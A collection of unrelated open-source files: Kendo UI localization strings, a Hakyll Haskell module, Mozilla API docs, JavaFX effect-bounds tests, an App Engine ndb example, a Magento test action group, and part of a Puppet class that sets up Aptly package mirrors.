"number": "Number",
"percent": "Percent",
"financial": "Financial",
"currency": "Currency",
"date": "Date",
"time": "Time",
"dateTime": "Date time",
"duration": "Duration",
"moreFormats": "More formats..."
},
"formatDecreaseDecimal": "Decrease decimal",
"formatIncreaseDecimal": "Increase decimal",
"freeze": "Freeze panes",
"freezeButtons": {
"freezePanes": "Freeze panes",
"freezeRows": "Freeze rows",
"freezeColumns": "Freeze columns",
"unfreeze": "Unfreeze panes"
},
"italic": "Italic",
"merge": "Merge cells",
"mergeButtons": {
"mergeCells": "Merge all",
"mergeHorizontally": "Merge horizontally",
"mergeVertically": "Merge vertically",
"unmerge": "Unmerge"
},
"open": "Open...",
"paste": "Paste",
"quickAccess": {
"redo": "Redo",
"undo": "Undo"
},
"saveAs": "Save As...",
"sortAsc": "Sort ascending",
"sortDesc": "Sort descending",
"sortButtons": {
"sortSheetAsc": "Sort sheet A to Z",
"sortSheetDesc": "Sort sheet Z to A",
"sortRangeAsc": "Sort range A to Z",
"sortRangeDesc": "Sort range Z to A"
},
"textColor": "Text Color",
"textWrap": "Wrap text",
"underline": "Underline",
"validation": "Data validation..."
});
}
if (kendo.spreadsheet && kendo.spreadsheet.messages.view) {
kendo.spreadsheet.messages.view =
$.extend(true, kendo.spreadsheet.messages.view,{
"errors": {
"shiftingNonblankCells": "Cannot insert cells due to data loss possibility. Select another insert location or delete the data from the end of your worksheet.",
"filterRangeContainingMerges": "Cannot create a filter within a range containing merges",
"validationError": "The value that you entered violates the validation rules set on the cell."
},
"tabs": {
"home": "Home",
"insert": "Insert",
"data": "Data"
}
});
}
/* Slider messages */
if (kendo.ui.Slider) {
kendo.ui.Slider.prototype.options =
$.extend(true, kendo.ui.Slider.prototype.options,{
"increaseButtonTitle": "Increase",
"decreaseButtonTitle": "Decrease"
});
}
/* TreeList messages */
if (kendo.ui.TreeList) {
kendo.ui.TreeList.prototype.options.messages =
$.extend(true, kendo.ui.TreeList.prototype.options.messages,{
"noRows": "No records to display",
"loading": "Loading...",
"requestFailed": "Request failed.",
"retry": "Retry",
"commands": {
"edit": "Edit",
"update": "Update",
"canceledit": "Cancel",
"create": "Add new record",
"createchild": "Add child record",
"destroy": "Delete",
"excel": "Export to Excel",
"pdf": "Export to PDF"
}
});
}
/* TreeView messages */
if (kendo.ui.TreeView) {
kendo.ui.TreeView.prototype.options.messages =
$.extend(true, kendo.ui.TreeView.prototype.options.messages,{
"loading": "Loading...",
"requestFailed": "Request failed.",
"retry": "Retry"
});
}
/* Upload messages */
if (kendo.ui.Upload) {
kendo.ui.Upload.prototype.options.localization=
$.extend(true, kendo.ui.Upload.prototype.options.localization,{
"select": "Select files...",
"cancel": "Cancel",
"retry": "Retry",
"remove": "Remove",
"uploadSelectedFiles": "Upload files",
"dropFilesHere": "drop files here to upload",
"statusUploading": "uploading",
"statusUploaded": "uploaded",
"statusWarning": "warning",
"statusFailed": "failed",
"headerStatusUploading": "Uploading...",
"headerStatusUploaded": "Done"
});
}
/* Validator messages */
if (kendo.ui.Validator) {
kendo.ui.Validator.prototype.options.messages =
$.extend(true, kendo.ui.Validator.prototype.options.messages,{
"required": "{0} is required",
"pattern": "{0} is not valid",
"min": "{0} should be greater than or equal to {1}",
"max": "{0} should be smaller than or equal to {1}",
"step": "{0} is not valid",
"email": "{0} is not valid email",
"url": "{0} is not valid URL",
"date": "{0} is not valid date",
"dateCompare": "End date should be greater than or equal to the start date"
});
}
/* Dialog */
if (kendo.ui.Dialog) {
kendo.ui.Dialog.prototype.options.messages =
$.extend(true, kendo.ui.Dialog.prototype.options.localization, {
"close": "Close"
});
}
/* Alert */
if (kendo.ui.Alert) {
kendo.ui.Alert.prototype.options.messages =
$.extend(true, kendo.ui.Alert.prototype.options.localization, {
"okText": "OK"
});
}
/* Confirm */
if (kendo.ui.Confirm) {
kendo.ui.Confirm.prototype.options.messages =
$.extend(true, kendo.ui.Confirm.prototype.options.localization, {
"okText": "OK",
"cancel": "Cancel"
});
}
/* Prompt */
if (kendo.ui.Prompt) {
kendo.ui.Prompt.prototype.options.messages =
$.extend(true, kendo.ui.Prompt.prototype.options.localization, {
"okText": "OK",
"cancel": "Cancel"
});
}
/* List messages */
if (kendo.ui.List) {
kendo.ui.List.prototype.options.messages =
$.extend(true, kendo.ui.List.prototype.options.messages,{
"clear": "clear",
"noData": "No data found."
});
}
/* DropDownList messages */
if (kendo.ui.DropDownList) {
kendo.ui.DropDownList.prototype.options.messages =
$.extend(true, kendo.ui.DropDownList.prototype.options.messages, kendo.ui.List.prototype.options.messages);
}
/* ComboBox messages */
if (kendo.ui.ComboBox) {
kendo.ui.ComboBox.prototype.options.messages =
$.extend(true, kendo.ui.ComboBox.prototype.options.messages, kendo.ui.List.prototype.options.messages);
}
/* AutoComplete messages */
if (kendo.ui.AutoComplete) {
kendo.ui.AutoComplete.prototype.options.messages =
$.extend(true, kendo.ui.AutoComplete.prototype.options.messages, kendo.ui.List.prototype.options.messages);
}
/* MultiColumnComboBox messages */
if (kendo.ui.MultiColumnComboBox) {
kendo.ui.MultiColumnComboBox.prototype.options.messages =
$.extend(true, kendo.ui.MultiColumnComboBox.prototype.options.messages, kendo.ui.List.prototype.options.messages);
}
/* DropDownTree messages */
if (kendo.ui.DropDownTree) {
kendo.ui.DropDownTree.prototype.options.messages =
$.extend(true, kendo.ui.DropDownTree.prototype.options.messages,{
"singleTag": "item(s) selected",
"clear": "clear",
"deleteTag": "delete",
"noData": "No data found."
});
}
/* MultiSelect messages */
if (kendo.ui.MultiSelect) {
kendo.ui.MultiSelect.prototype.options.messages =
$.extend(true, kendo.ui.MultiSelect.prototype.options.messages,{
"singleTag": "item(s) selected",
"clear": "clear",
"deleteTag": "delete",
"noData": "No data found."
});
}
/* Chat messages */
if (kendo.ui.Chat) {
kendo.ui.Chat.prototype.options.messages =
$.extend(true, kendo.ui.Chat.prototype.options.messages,{
"placeholder": "Type a message...",
"toggleButton": "Toggle toolbar",
"sendButton": "Send message"
});
}
/* Wizard messages */
if (kendo.ui.Wizard) {
kendo.ui.Wizard.prototype.options.messages =
$.extend(true, kendo.ui.Wizard.prototype.options.messages,{
"reset": "Reset",
"previous": "Previous",
"next": "Next",
"done": "Done",
"step": "Step",
"of": "of"
});
}
})(window.kendo.jQuery);
| {
"pile_set_name": "Github"
} |
--------------------------------------------------------------------------------
module Hakyll.Core.Compiler.Require
( Snapshot
, save
, saveSnapshot
, load
, loadSnapshot
, loadBody
, loadSnapshotBody
, loadAll
, loadAllSnapshots
) where
--------------------------------------------------------------------------------
import Control.Monad (when)
import Data.Binary (Binary)
import qualified Data.Set as S
import Data.Typeable
--------------------------------------------------------------------------------
import Hakyll.Core.Compiler.Internal
import Hakyll.Core.Dependencies
import Hakyll.Core.Identifier
import Hakyll.Core.Identifier.Pattern
import Hakyll.Core.Item
import Hakyll.Core.Metadata
import Hakyll.Core.Store (Store)
import qualified Hakyll.Core.Store as Store
--------------------------------------------------------------------------------
save :: (Binary a, Typeable a) => Store -> Item a -> IO ()
save store item = saveSnapshot store final item
--------------------------------------------------------------------------------
-- | Save a specific snapshot of an item, so you can load it later using
-- 'loadSnapshot'.
saveSnapshot :: (Binary a, Typeable a)
=> Store -> Snapshot -> Item a -> IO ()
saveSnapshot store snapshot item =
Store.set store (key (itemIdentifier item) snapshot) (itemBody item)
--------------------------------------------------------------------------------
-- | Load an item compiled elsewhere. If the required item is not yet compiled,
-- the build system will take care of that automatically.
load :: (Binary a, Typeable a) => Identifier -> Compiler (Item a)
load id' = loadSnapshot id' final
--------------------------------------------------------------------------------
-- | Require a specific snapshot of an item.
loadSnapshot :: (Binary a, Typeable a)
=> Identifier -> Snapshot -> Compiler (Item a)
loadSnapshot id' snapshot = do
store <- compilerStore <$> compilerAsk
universe <- compilerUniverse <$> compilerAsk
-- Quick check for better error messages
when (id' `S.notMember` universe) $ fail notFound
compilerTellDependencies [IdentifierDependency id']
compilerResult $ CompilerRequire (id', snapshot) $ do
result <- compilerUnsafeIO $ Store.get store (key id' snapshot)
case result of
Store.NotFound -> fail notFound
Store.WrongType e r -> fail $ wrongType e r
Store.Found x -> return $ Item id' x
where
notFound =
"Hakyll.Core.Compiler.Require.load: " ++ show id' ++
" (snapshot " ++ snapshot ++ ") was not found in the cache, " ++
"the cache might be corrupted or " ++
"the item you are referring to might not exist"
wrongType e r =
"Hakyll.Core.Compiler.Require.load: " ++ show id' ++
" (snapshot " ++ snapshot ++ ") was found in the cache, " ++
"but does not have the right type: expected " ++ show e ++
" but got " ++ show r
--------------------------------------------------------------------------------
-- | A shortcut for only requiring the body of an item.
--
-- > loadBody = fmap itemBody . load
loadBody :: (Binary a, Typeable a) => Identifier -> Compiler a
loadBody id' = loadSnapshotBody id' final
--------------------------------------------------------------------------------
-- | A shortcut for only requiring the body for a specific snapshot of an item
loadSnapshotBody :: (Binary a, Typeable a)
=> Identifier -> Snapshot -> Compiler a
loadSnapshotBody id' snapshot = fmap itemBody $ loadSnapshot id' snapshot
--------------------------------------------------------------------------------
-- | This function allows you to 'load' a dynamic list of items
loadAll :: (Binary a, Typeable a) => Pattern -> Compiler [Item a]
loadAll pattern = loadAllSnapshots pattern final
--------------------------------------------------------------------------------
-- | Load a specific snapshot for each of dynamic list of items
loadAllSnapshots :: (Binary a, Typeable a)
=> Pattern -> Snapshot -> Compiler [Item a]
loadAllSnapshots pattern snapshot = do
matching <- getMatches pattern
mapM (\i -> loadSnapshot i snapshot) matching
--------------------------------------------------------------------------------
key :: Identifier -> String -> [String]
key identifier snapshot =
["Hakyll.Core.Compiler.Require", show identifier, snapshot]
--------------------------------------------------------------------------------
final :: Snapshot
final = "_final"
| {
"pile_set_name": "Github"
} |
[android-components](../../index.md) / [mozilla.components.browser.state.state](../index.md) / [ReaderState](./index.md)
# ReaderState
`data class ReaderState` [(source)](https://github.com/mozilla-mobile/android-components/blob/master/components/browser/state/src/main/java/mozilla/components/browser/state/state/ReaderState.kt#L20)
Value type that represents the state of reader mode/view.
### Constructors
| Name | Summary |
|---|---|
| [<init>](-init-.md) | `ReaderState(readerable: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)` = false, active: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)` = false, checkRequired: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)` = false, connectRequired: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)` = false, baseUrl: `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)`? = null, activeUrl: `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)`? = null)`<br>Value type that represents the state of reader mode/view. |
### Properties
| Name | Summary |
|---|---|
| [active](active.md) | `val active: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)<br>whether or not reader view is active. |
| [activeUrl](active-url.md) | `val activeUrl: `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)`?`<br>the URL of the page currently displayed in reader view. |
| [baseUrl](base-url.md) | `val baseUrl: `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)`?`<br>the base URL of the reader view extension page. |
| [checkRequired](check-required.md) | `val checkRequired: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)<br>whether or not a readerable check is required for the current page. |
| [connectRequired](connect-required.md) | `val connectRequired: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)<br>whether or not a new connection to the reader view content script is required. |
| [readerable](readerable.md) | `val readerable: `[`Boolean`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html)<br>whether or not the current page can be transformed to be displayed in a reader view. |
### Extension Functions
| Name | Summary |
|---|---|
| [loadResourceAsString](../../mozilla.components.support.test.file/kotlin.-any/load-resource-as-string.md) | `fun `[`Any`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-any/index.html)`.loadResourceAsString(path: `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)`): `[`String`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)<br>Loads a file from the resources folder and returns its content as a string object. |
| {
"pile_set_name": "Github"
} |
package jgnash.util;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Documented
@Retention(RetentionPolicy.CLASS)
@Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.LOCAL_VARIABLE})
public @interface Nullable {
}
| {
"pile_set_name": "Github"
} |
/*
* The MIT License (MIT)
*
* Copyright (c) 2017-2018, Erik Moqvist
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
* This file is part of the Simba project.
*/
#ifndef __BOARD_H__
#define __BOARD_H__
/* Digital pins. */
#define pin_p00_dev pin_device[0]
#define pin_p01_dev pin_device[1]
#define pin_p02_dev pin_device[2]
#define pin_p03_dev pin_device[3]
#define pin_p04_dev pin_device[4]
#define pin_p05_dev pin_device[5]
#define pin_p06_dev pin_device[6]
#define pin_p07_dev pin_device[7]
#define pin_p08_dev pin_device[8]
#define pin_p09_dev pin_device[9]
#define pin_p10_dev pin_device[10]
#define pin_p11_dev pin_device[11]
#define pin_p12_dev pin_device[12]
#define pin_p13_dev pin_device[13]
#define pin_p14_dev pin_device[14]
#define pin_p15_dev pin_device[15]
#define pin_p16_dev pin_device[16]
#define pin_p17_dev pin_device[17]
#define pin_p18_dev pin_device[18]
#define pin_p19_dev pin_device[19]
#define pin_p20_dev pin_device[20]
#define pin_p21_dev pin_device[21]
#define pin_p22_dev pin_device[22]
#define pin_p23_dev pin_device[23]
#define pin_p24_dev pin_device[24]
#define pin_p25_dev pin_device[25]
#define pin_p26_dev pin_device[26]
#define pin_p27_dev pin_device[27]
#define pin_p28_dev pin_device[28]
#define pin_p29_dev pin_device[29]
#define pin_p30_dev pin_device[30]
#define pin_p31_dev pin_device[31]
/* Analog pins. */
#define pin_ain0_dev pin_p02_dev
#define pin_ain1_dev pin_p03_dev
#define pin_ain2_dev pin_p04_dev
#define pin_ain3_dev pin_p05_dev
#define pin_ain4_dev pin_p28_dev
#define pin_ain5_dev pin_p29_dev
#define pin_ain6_dev pin_p30_dev
#define pin_ain7_dev pin_p31_dev
/* Button pins. */
#define pin_btn1_dev pin_p11_dev
#define pin_btn2_dev pin_p12_dev
#define pin_btn3_dev pin_p24_dev
#define pin_btn4_dev pin_p25_dev
/* LED pins. */
#define pin_led1_dev pin_p13_dev
#define pin_led2_dev pin_p14_dev
#define pin_led3_dev pin_p15_dev
#define pin_led4_dev pin_p16_dev
/* On board LED.*/
#define pin_led_dev pin_led1_dev
/**
* Convert given pin string to the pin number.
*
* @param[in] str_p Pin as a string.
*
* @return Pin number or negative error code.
*/
int board_pin_string_to_device_index(const char *str_p);
#endif
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2020 PingCAP, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.pingcap.tikv.meta;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import java.io.Serializable;
public class TiFlashReplicaInfo implements Serializable {
private final long count;
private final String[] locationLabels;
private final boolean available;
private final long[] availablePartitionIDs;
@JsonCreator
public TiFlashReplicaInfo(
@JsonProperty("Count") long count,
@JsonProperty("LocationLabels") String[] locationLabels,
@JsonProperty("Available") boolean available,
@JsonProperty("AvailablePartitionIDs") long[] availablePartitionIDs) {
this.count = count;
this.locationLabels = locationLabels;
this.available = available;
this.availablePartitionIDs = availablePartitionIDs;
}
public boolean isPartitionAvailable(long pid) {
for (long id : availablePartitionIDs) {
if (id == pid) {
return true;
}
}
return false;
}
public long getCount() {
return count;
}
public String[] getLocationLabels() {
return locationLabels;
}
public boolean isAvailable() {
return available;
}
public long[] getAvailablePartitionIDs() {
return availablePartitionIDs;
}
}
| {
"pile_set_name": "Github"
} |
/* File : example.cxx */
#include "example.h"
#define M_PI 3.14159265358979323846
/* Move the shape to a new location */
void Shape::move(double dx, double dy) {
x += dx;
y += dy;
}
int Shape::nshapes = 0;
double Circle::area() {
return M_PI*radius*radius;
}
double Circle::perimeter() {
return 2*M_PI*radius;
}
double Square::area() {
return width*width;
}
double Square::perimeter() {
return 4*width;
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2011, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package test.javafx.scene.bounds;
import static test.com.sun.javafx.test.TestHelper.box;
import static org.junit.Assert.assertEquals;
import javafx.scene.effect.DropShadow;
import javafx.scene.effect.Glow;
import javafx.scene.effect.Reflection;
import javafx.scene.shape.Rectangle;
import org.junit.Test;
public class EffectBoundsTest {
// test setting an effect on a Node alters the bounds
public @Test void testBoundsOnRectangleWithShadow() {
Rectangle rect = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
rect.setEffect(ds);
assertEquals(box(-2, -2, 104, 104), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
}
// test setting an effect on a Node and removing the effect is right bounds
public @Test void testBoundsOnRectangleWithShadowRemoved() {
Rectangle rect = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
rect.setEffect(ds);
assertEquals(box(-2, -2, 104, 104), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
rect.setEffect(null);
assertEquals(box(0, 0, 100, 100), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
}
// test setting an effect on a Node and changing the effect params
// (which causes the effect bounds to change) will update the bounds
public @Test void testBoundsOnRectangleWithShadowChanged() {
Rectangle rect = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
rect.setEffect(ds);
assertEquals(box(-2, -2, 104, 104), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
ds.setRadius(4);
assertEquals(box(-3, -3, 106, 106), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
}
// test setting chained effects on a Node and changing the effect params
// (which causes the effect bounds to change) will update the bounds
public @Test void testBoundsOnRectangleWithShadowAndGlowChanged() {
Rectangle rect = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
Glow g = new Glow();
g.setInput(ds);
rect.setEffect(g);
assertEquals(box(-2, -2, 104, 104), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
ds.setRadius(4);
assertEquals(box(-3, -3, 106, 106), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
}
// test setting an effect on a Node and a Clip works as expected
public @Test void testBoundsOnRectangleWithShadowAndClip() {
Rectangle rect = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
rect.setEffect(ds);
rect.setClip(new Rectangle(-10, -10, 30, 30));
assertEquals(box(-2, -2, 22, 22), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
}
// test setting an effect on a Node alters the bounds
public @Test void testBoundsOnRectangleWithShadowAndReflection() {
Rectangle rect = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
Reflection r = new Reflection();
r.setFraction(0.5f);
ds.setInput(r);
rect.setEffect(ds);
assertEquals(box(-2, -2, 104, 154), rect.getBoundsInLocal());
assertEquals(rect.getBoundsInLocal(), rect.getBoundsInParent());
}
// test setting an effect on two Nodes and changing the effect params
// (which causes the effect bounds to change) will update the bounds
// of both nodes
public @Test void testBoundsOnRectanglesWithShadowChanged() {
Rectangle rect1 = new Rectangle(100, 100);
Rectangle rect2 = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
rect1.setEffect(ds);
rect2.setEffect(ds);
assertEquals(box(-2, -2, 104, 104), rect1.getBoundsInLocal());
assertEquals(rect1.getBoundsInLocal(), rect1.getBoundsInParent());
assertEquals(box(-2, -2, 104, 104), rect2.getBoundsInLocal());
assertEquals(rect2.getBoundsInLocal(), rect2.getBoundsInParent());
ds.setRadius(4);
assertEquals(box(-3, -3, 106, 106), rect1.getBoundsInLocal());
assertEquals(rect1.getBoundsInLocal(), rect1.getBoundsInParent());
assertEquals(box(-3, -3, 106, 106), rect2.getBoundsInLocal());
assertEquals(rect2.getBoundsInLocal(), rect2.getBoundsInParent());
}
// test setting two effects on two Nodes and changing the effect params
// (which causes the effect bounds to change) will update the bounds
// of both nodes
public @Test void testBoundsOnRectanglesWithShadowAndGlowChanged() {
Rectangle rect1 = new Rectangle(100, 100);
Rectangle rect2 = new Rectangle(100, 100);
DropShadow ds = new DropShadow();
ds.setRadius(2);
Glow g = new Glow();
g.setInput(ds);
rect1.setEffect(g);
rect2.setEffect(g);
assertEquals(box(-2, -2, 104, 104), rect1.getBoundsInLocal());
assertEquals(rect1.getBoundsInLocal(), rect1.getBoundsInParent());
assertEquals(box(-2, -2, 104, 104), rect2.getBoundsInLocal());
assertEquals(rect2.getBoundsInLocal(), rect2.getBoundsInParent());
ds.setRadius(4);
assertEquals(box(-3, -3, 106, 106), rect1.getBoundsInLocal());
assertEquals(rect1.getBoundsInLocal(), rect1.getBoundsInParent());
assertEquals(box(-3, -3, 106, 106), rect2.getBoundsInLocal());
assertEquals(rect2.getBoundsInLocal(), rect2.getBoundsInParent());
}
}
| {
"pile_set_name": "Github"
} |
#
# Copyright 2008 The ndb Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Example from "Writing Property Subclasses".
from ndb import *
# Pay no attention to the testbed behind the curtain.
from google.appengine.ext import testbed
tb = testbed.Testbed()
tb.activate()
tb.init_datastore_v3_stub()
tb.init_memcache_stub()
from datetime import date
class FuzzyDate(object):
def __init__(self, first, last=None):
assert isinstance(first, date)
assert last is None or isinstance(last, date)
self.first = first
self.last = last or first
def __repr__(self):
return 'FuzzyDate(%r, %r)' % (self.first, self.last)
class FuzzyDateModel(Model):
first = DateProperty()
last = DateProperty()
class FuzzyDateProperty(StructuredProperty):
def __init__(self, **kwds):
super(FuzzyDateProperty, self).__init__(FuzzyDateModel, **kwds)
def _validate(self, value):
assert isinstance(value, FuzzyDate)
def _to_base_type(self, value):
return FuzzyDateModel(first=value.first, last=value.last)
def _from_base_type(self, value):
return FuzzyDate(value.first, value.last)
# Class to record historic people and events in their life.
class HistoricPerson(Model):
name = StringProperty()
birth = FuzzyDateProperty()
death = FuzzyDateProperty()
# Parallel lists:
event_dates = FuzzyDateProperty(repeated=True)
event_names = StringProperty(repeated=True)
# Record Christopher Columbus.
columbus = HistoricPerson(
name='Christopher Columbus',
birth=FuzzyDate(date(1451, 8, 22), date(1451, 10, 31)),
death=FuzzyDate(date(1506, 5, 20)),
event_dates=[FuzzyDate(date(1492, 1, 1), date(1492, 12, 31))],
event_names=['Discovery of America'])
columbus.put()
# Query for historic people born no later than 1451.
q = HistoricPerson.query(HistoricPerson.birth.last <= date(1451, 12, 31))
print q.fetch()
| {
"pile_set_name": "Github"
} |
Hello world, 23
| {
"pile_set_name": "Github"
} |
#
| {
"pile_set_name": "Github"
} |
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`R.scan(object_number_to_object)(object)(number_array) 1`] = `"object[]"`;
exports[`R.scan(object_number_to_object, object) 1`] = `"(values: R.List<number>) => object[]"`;
exports[`R.scan(object_number_to_object, object, number_array) 1`] = `"object[]"`;
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!--
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
-->
<actionGroups xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="urn:magento:mftf:Test/etc/actionGroupSchema.xsd">
<actionGroup name="ResetImportOptionFilterActionGroup">
<annotations>
<description>Click on the Reset Filters button for the Import Options filters on the Product grid page.</description>
</annotations>
<conditionalClick selector="{{AdminProductCustomizableOptionsSection.customizableOptions}}" dependentSelector="{{AdminProductCustomizableOptionsSection.addOptionBtn}}" visible="false" stepKey="openCustomOptionSection"/>
<click selector="{{AdminProductCustomizableOptionsSection.importOptions}}" stepKey="clickImportOptions"/>
<click selector="{{AdminProductImportOptionsSection.resetFiltersButton}}" stepKey="clickResetFilterButton"/>
</actionGroup>
</actionGroups>
| {
"pile_set_name": "Github"
} |
# This node exists in production to serve all other environments. So that we:
#
# - can maintain/promote consistent snapshots across all environments
# - don't duplicate storage in each environment
# - have something that we can point Vagrant and smaller environments to
#
# [*private_gpg_key*]
# The private key to sign the repos with
#
# [*private_gpg_key_fingerprint*]
# The fingerprint is required to specify the private key.
#
class govuk::node::s_apt (
$root_dir,
$private_gpg_key = undef,
$private_gpg_key_fingerprint = undef,
$real_ip_header = undef,
$apt_service = 'apt.cluster',
$gemstash_service = 'gemstash.cluster',
) inherits govuk::node::s_base {
# Only mirror our current arch to save space. This means that some
# `apt::source` resources will need to specify an `architecture` param to
# select only "amd64" or "binary".
class { 'aptly':
config => {
'rootDir' => $root_dir,
'architectures' => [$::architecture],
},
}
Govuk_mount[$root_dir] -> Class['aptly']
file { $root_dir:
ensure => directory,
owner => 'deploy',
group => 'root',
mode => '0775',
purge => false,
require => User['deploy'],
}
aptly::mirror {
'aptly':
location => 'http://repo.aptly.info',
release => 'squeeze',
key => 'ED75B5A4483DA07C';
'duplicity':
location => 'http://ppa.launchpad.net/duplicity-team/ppa/ubuntu',
release => 'trusty',
key => 'AF953139C1DF9EF3476DE1D58F571BB27A86F4A2';
'docker':
location => 'https://download.docker.com/linux/ubuntu',
release => 'trusty',
repos => ['stable'],
key => '9DC858229FC7DD38854AE2D88D81803C0EBFCD88';
'govuk-ppa-trusty':
location => 'http://ppa.launchpad.net/gds/govuk/ubuntu',
release => 'trusty',
key => '914D5813';
'grafana':
location => 'https://packagecloud.io/grafana/stable/debian',
release => 'jessie',
key => '418A7F2FB0E1E6E7EABF6FE8C2E73424D59097AB';
'mongodb':
location => 'http://downloads-distro.mongodb.org/repo/ubuntu-upstart',
release => 'dist',
key => '7F0CEB10';
'mongodb3.2':
location => 'https://repo.mongodb.org/apt/ubuntu',
release => 'trusty/mongodb-org/3.2',
key => 'EA312927';
'mongodb3.6':
location => 'https://repo.mongodb.org/apt/ubuntu',
release => 'trusty/mongodb-org/3.6',
key => '91FA4AD5';
'nginx':
location => 'https://nginx.org/packages/ubuntu/',
release => 'trusty',
key => 'ABF5BD827BD9BF62';
'nodejs':
location => 'https://deb.nodesource.com/node_12.x',
release => 'trusty',
repos => ['main'],
key => '68576280';
'openjdk':
location => 'http://ppa.launchpad.net/openjdk-r/ppa/ubuntu/',
release => 'trusty',
key => 'DA1A4A13543B466853BAF164EB9B1D8886F44E2A';
'percona':
location => 'http://repo.percona.com/apt',
release => 'trusty',
key => '8507EFA5';
'postgresql':
location => 'http://apt.postgresql.org/pub/repos/apt/',
release => 'trusty-pgdg',
key => 'B97B0AFCAA1A47F044F244A07FCC7D46ACCC4CF8';
